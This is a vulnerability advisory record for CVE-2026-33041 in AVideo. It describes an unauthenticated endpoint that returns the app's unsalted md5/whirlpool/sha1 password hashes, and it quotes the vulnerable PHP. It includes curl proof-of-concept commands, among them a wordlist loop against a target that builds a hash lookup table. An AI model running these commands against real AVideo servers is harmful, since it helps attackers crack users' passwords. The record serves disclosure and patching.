{"id":"CVE-2026-33041","aliases":["GHSA-px7x-gq96-rmp5"],"url":"https://o3.security/vulnerability/CVE-2026-33041","summary":"AVideo has an Unauthenticated Password Hash Oracle via encryptPass.json.php","details":"### Summary\n\n`/objects/encryptPass.json.php` exposes the application's password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes.\n\n### Details\n\n**File:** `objects/encryptPass.json.php`\n\n```php\n$obj->password = @$_REQUEST['pass'];\n$obj->encryptedPassword = encryptPassword($obj->password);\necho json_encode($obj);\n```\n\nNo authentication is required. The `encryptPassword()` function in `objects/functions.php` (line ~2101) uses:\n\n```php\nfunction encryptPassword($password, $noSalt = false) {\n    if (!empty($advancedCustomUser->encryptPasswordsWithSalt) && !empty($global['salt']) && empty($noSalt)) {\n        $password .= $global['salt'];\n    }\n    return md5(hash('whirlpool', sha1($password)));\n}\n```\n\nBy default, salt is NOT enabled (`encryptPasswordsWithSalt` is off), making the hash deterministic and identical to what's stored in the database.\n\n### PoC\n\n```bash\n# Get the hash for any password\ncurl 'https://TARGET/objects/encryptPass.json.php?pass=admin123'\n# Response: {\"password\":\"admin123\",\"encryptedPassword\":\"<hash>\"}\n\n# Build a rainbow table for common passwords\nfor pass in $(cat rockyou-top1000.txt); do\n  curl -s \"https://TARGET/objects/encryptPass.json.php?pass=$pass\"\ndone\n```\n\nIf an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint.\n\n### Impact\n\n**Password Cracking Acceleration** — This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly.\n\nAdditionally, this reveals whether salt is enabled and the exact hashing implementation, which is sensitive cryptographic configuration.","published":"2026-03-20T05:50:07.423Z","modified":"2026-08-12T03:51:34.153677749Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/ea2efd04464560cca93c9ab48b445dbb944a4e46","label":"WWBN/AVideo@ea2efd0"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33041.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-px7x-gq96-rmp5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33041"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/ea2efd04464560cca93c9ab48b445dbb944a4e46"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:34.153677749Z"}}